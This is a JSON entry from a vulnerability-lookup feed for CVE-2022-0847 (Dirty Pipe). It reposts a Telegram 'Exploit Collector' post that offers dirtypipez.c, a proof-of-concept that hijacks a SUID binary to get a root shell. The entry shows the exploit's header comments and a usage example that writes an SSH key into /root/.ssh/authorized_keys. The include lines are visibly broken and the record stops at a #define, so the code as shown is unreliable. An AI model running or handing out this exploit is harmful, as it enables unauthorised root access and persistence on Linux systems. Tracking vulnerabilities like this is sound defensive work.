{"uuid": "c16bb328-e9c8-420b-b3f6-3e88dd52b1c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0847", "type": "seen", "source": "https://t.me/hacking_Attack/45502", "content": "Exploit Collector\nDirty Pipe SUID Binary Hijack Privilege Escalation\n\nhttps://2.bp.blogspot.com/-swqN45HZtSI/WWlvXv0Z4fI/AAAAAAAAIOY/czRV0nNAPTIk5N0xfOCTXuQJzRjI48a4wCLcBGAs/s1600/h53.png \nVariant proof of concept exploit for the Dirty Pipe file overwrite vulnerability. This version hijacks a SUID binary to spawn a root shell.\n\nMD5 | 7068d6d27faedd0b32b56e4d39ae9688\n\nDownload\n//\n// dirtypipez.c\n//\n// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn\n// a root shell. (and attempts to restore the damaged binary as well)\n//\n// Wow, Dirty CoW reloaded!\n//\n// -- blasty <peter@haxx.in// 2022-03-07\n\n/* SPDX-License-Identifier: GPL-2.0 */\n/*\n* Copyright 2022 CM4all GmbH / IONOS SE\n*\n* author: Max Kellermann <max.kellermann@ionos.com\n*\n* Proof-of-concept exploit for the Dirty Pipe\n* vulnerability (CVE-2022-0847) caused by an uninitialized\n* \"pipe_buffer.flags\" variable.  It demonstrates how to overwrite any\n* file contents in the page cache, even if the file is not permitted\n* to be written, immutable or on a read-only mount.\n*\n* This exploit requires Linux 5.8 or later; the code path was made\n* reachable by commit f6dd975583bd (\"pipe: merge\n* anon_pipe_buf*_ops\").  The commit did not introduce the bug, it was\n* there before, it just provided an easy way to exploit it.\n*\n* There are two major limitations of this exploit: the offset cannot\n* be on a page boundary (it needs to write one byte before the offset\n* to add a reference to this page to the pipe), and the write cannot\n* cross a page boundary.\n*\n* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\\nssh-ed25519 AAA......\\n'\n*\n* Further explanation: https://dirtypipe.cm4all.com/\n*/\n\n#define _GNU_SOURCE\n#include <unistd.h\n#include <fcntl.h\n#include <stdio.h\n#include <stdlib.h\n#include <string.h\n#include <sys\n#include <sys\n#include <stdint.h\n\n#ifndef PAGE_SIZE\n#define PAGE_SIZE 4096", "creation_timestamp": "2026-09-01T20:01:52.848997Z"}